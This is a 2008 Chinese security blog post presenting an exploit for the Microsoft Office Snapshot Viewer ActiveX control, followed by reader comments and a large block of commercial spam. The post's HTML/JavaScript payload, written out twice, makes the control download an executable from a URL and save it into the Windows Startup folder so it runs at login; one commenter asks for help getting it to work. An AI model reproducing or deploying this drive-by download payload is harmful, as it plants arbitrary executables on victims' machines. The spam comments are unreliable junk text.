[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit
by cloie
2008-07-08
http://www.ph4nt0m.org
今天有人发了个Snapshot Viewer的ADV，结合CERT那篇dranzer.pdf，重现漏洞
EXP:
<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>
Fuzzing时一般是对单个Property和单个Method()做FUZZ，这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的，再测试其他Property。由于此ActiveX的Property和Method都非常少，很快可以 FUZZ完
5 条评论:
Thank you for sharing.
i've tested the exploit code on test box. but, i've found something strange.
it's not equal between a file at buf1 and a file at buf2. i think the file at buf1 is downloaded to a path refered to buf2. however, a process of download was NOT actually completed.
so, downloaded executable file was not executed normaly.
do you know what's wrong? plz let me know..
Maybe your machine don't have this activex control.
Articles are meaningful, and your blog is nice!
polo jacket
polo shirt
ralp lauren jacket
cheap polo shirts
spyder jackets
discount polo shirts
ralph lauren shirt
columbia jacket
north face jacket
cheap ralph lauren shirts
women's columbia jackets
polo t shirts
polo men's shirt
ralph lauren men's shirt
polo mens shirt
cheap polo jackets
ralph lauren mens shirt
wholesale polo jacket
ralp lauren polo shirts
short sleeve polo shirt
men polo shirt
lacoste polo shirts
wholesale polo shirts
men's polo shirts
cheap polo ralph lauren
cheap polo t-shirts
cheap polo clothes
custom polo shirts
discount north face jackets
ladies spyder jacket
tennis rackets
tennis racket
tennis racquet
tennis racquets
wilson tennis rackets
prince tennis rackets
head tennis rackets
babolat tennis rackets
best tennis racket
cheap tennis rackets
wilson tennis racquets
head tennis racquets
babolat tennis racquets
cheap tennis racket
Your blog is wonderful, I like it very much, thank you!
By the way, do you like polo shirts, which are very chic, especially the polo t shirts, I love them very much. I also like playing tennis rackets, it can keep healthy, what do you like to do?
We are the outlet of polo t shirts women, polo t shirts on sale, polo t shirts for women, polo shirts on sale, these products are best-seller in our store online.besides we also sell polo shirts men, men's polo shirt, men polo shirt, mens polo shirts, mens polo shirt and cheap polo shirts, discount polo shirts, men's polo shirts, women's polo shirts We are also the outlet of cheap tennis racket, discount tennis racket, and the main product is prince tennis racquet, head tennis rackets, wilson tennis racket, babolat tennis racquet.You are warmly welcomed to my store online!
Dofus Kamas|Prix Moins Cher Dofus Kamas|Kamas par allopass|Dofus kamas audiotel|Dofus kamas par telephone sur Virstock.com
Meilleur prix dofus kamas stock de dofus kamas
Prix moins cher dofus kamas
vente dofus kamas sur www.virstock.com
Kamas par allopass sur dofus kamas
Dofus kamas par telephone sur dofus kamas
Dofus kamas audiotel sur dofus kamas
http://www.virstock.com/jsp/comments.jsp dofus kamas vente
http://www.virstock.com
发表评论